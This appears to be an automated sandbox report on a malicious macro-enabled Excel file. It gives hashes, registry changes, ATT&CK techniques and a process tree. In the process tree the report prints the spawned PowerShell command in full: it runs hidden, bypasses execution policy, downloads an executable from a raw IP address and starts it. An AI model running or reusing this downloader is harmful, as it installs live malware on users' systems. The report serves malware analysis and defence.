bfe6807e6c403cb0b54b810f87d17f6453faa508ddf4a9451cd4c1bcdd14550d

Analysis

max time kernel
71s
max time network
33s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
11/04/2023, 11:10

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General

Target

doc220689990507.xlsm
Size

430KB
MD5

52bafaa08244532ff13caa997189813c
SHA1

481c5125478d65e516a1af3038a0551116c2c637
SHA256

bfe6807e6c403cb0b54b810f87d17f6453faa508ddf4a9451cd4c1bcdd14550d
SHA512

fee2acdd4c7359679bff9db3932e0be799ebd40d10952913555d4027df9264d5d5dbb0cdba0141754ebe65a99dbcea491bb2a486ff806acf5cf0897060cf45ae
SSDEEP

12288:2PIXQu7SHOCZhSTIS2dGpeWpqivD1YxR25O8UfN:2RwarmMSAGMID1R5OtfN

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1680	1476	powershell.exe	26

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1914912747-3343861975-731272777-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1476	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1680	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1680	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
1476	EXCEL.EXE
1476	EXCEL.EXE
1476	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1476 wrote to memory of 1680	1476	EXCEL.EXE	27
PID 1476 wrote to memory of 1680	1476	EXCEL.EXE	27
PID 1476 wrote to memory of 1680	1476	EXCEL.EXE	27
PID 1476 wrote to memory of 1680	1476	EXCEL.EXE	27

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\doc220689990507.xlsm
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1476
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle hidden -executionpolicy bypass; $TempFile = [IO.Path]::GetTempFileName() | Rename-Item -NewName { $_ -replace 'tmp$', 'exe' } –PassThru; Invoke-WebRequest -Uri "http://62.108.40.105/iy/Jhrkxmekol.exe" -OutFile $TempFile; Start-Process $TempFile;
  2⤵
  - Process spawned unexpected child process
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1680

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1476-54-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1680-59-0x0000000002700000-0x0000000002740000-memory.dmp

Filesize
256KB

Download
memory/1680-60-0x0000000002700000-0x0000000002740000-memory.dmp

Filesize
256KB

Download
memory/1680-61-0x0000000002700000-0x0000000002740000-memory.dmp

Filesize
256KB

Download
memory/1680-62-0x0000000002700000-0x0000000002740000-memory.dmp

Filesize
256KB

Download